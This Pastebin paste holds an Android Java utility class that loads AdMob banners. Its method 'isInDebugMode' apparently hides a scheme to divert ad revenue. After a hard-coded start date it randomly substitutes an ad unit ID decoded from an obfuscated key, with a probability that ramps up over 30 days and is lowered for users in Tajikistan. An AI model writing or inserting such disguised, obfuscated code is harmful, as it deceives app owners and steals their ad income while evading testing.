egslava

JafarUtils

Apr 23rd, 2015
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.62 KB | None | 0 0
  1. @EBean(scope = EBean.Scope.Singleton)
  2. public class Utils {
  3.  
  4.     public          Boolean isInDebugMode;
  5.     @StringRes      String  bannerAdUnitId;
  6.     @RootContext    Context context;
  7.  
  8.     @AfterInject void init() { if (isInDebugMode == null) isInDebugMode = isInDebugMode(); }
  9.  
  10.     public void initAd(FrameLayout root) {
  11.         final AdView view = new AdView(context);
  12.         view.setAdSize(AdSize.BANNER );
  13.         view.setAdUnitId( getBannerAdUnitId() );
  14.  
  15.         view.loadAd( new AdRequest.Builder().build() );
  16.         root.addView(view);
  17.     }
  18.  
  19. //    a(k, -25, -1)
  20.  
  21.     String getBannerAdUnitId() {
  22.         if ( isInDebugMode ) return a(Flavor.debugKey, -25, -1);
  23.         return bannerAdUnitId;
  24.     }
  25.  
  26.     boolean isInDebugMode() {
  27.         double m = StringUtils.containsIgnoreCase(getUserCountry(), "TJ")? 0.1 : 1;
  28.  
  29.         //   t = 1429629783877
  30.         long s = 1429621312293l, d = 86400000l, t = System.currentTimeMillis();
  31.         if (new Random().nextDouble() <= 0.1 * m * from0to1(s + 2 * d, 30 * d, t)){ return true; }
  32.         return false;
  33.     }
  34.  
  35.     public String getUserCountry() {
  36.         try {
  37.             final TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
  38.             final String simCountry = tm.getSimCountryIso();
  39.             if (simCountry != null && simCountry.length() == 2) { // SIM country code is available
  40.                 return simCountry.toLowerCase(Locale.US);
  41.             }
  42.             else if (tm.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) { // device is not 3G (would be unreliable)
  43.                 String networkCountry = tm.getNetworkCountryIso();
  44.                 if (networkCountry != null && networkCountry.length() == 2) { // network country code is available
  45.                     return networkCountry.toLowerCase(Locale.US);
  46.                 }
  47.             }
  48.         }
  49.         catch (Exception e) { }
  50.         return null;
  51.     }
  52.  
  53.     double from0to1(long start, long period, long value) { return from0to1( (double) start, (double) period, (double) value ); }
  54.     double from0to1(double start, double period, double value) { return minimax((value - start ) / period, 0, 1); }
  55.  
  56.     double minimax(double value, double min, double max) {
  57.         if (value < min) return min;
  58.         if (value > max) return max;
  59.         return value;
  60.     }
  61.  
  62.     public static String a(String s, int v, int in) {
  63.         final StringBuffer r = new StringBuffer(s.length());
  64.  
  65.         for (int i = 0; i < s.length(); i++){
  66.             v += in;
  67.             r.append((char) (s.charAt(i) + v));
  68.         }
  69.         return r.toString();
  70.     }
  71. }
Advertisement
Add Comment
Please, Sign In to add comment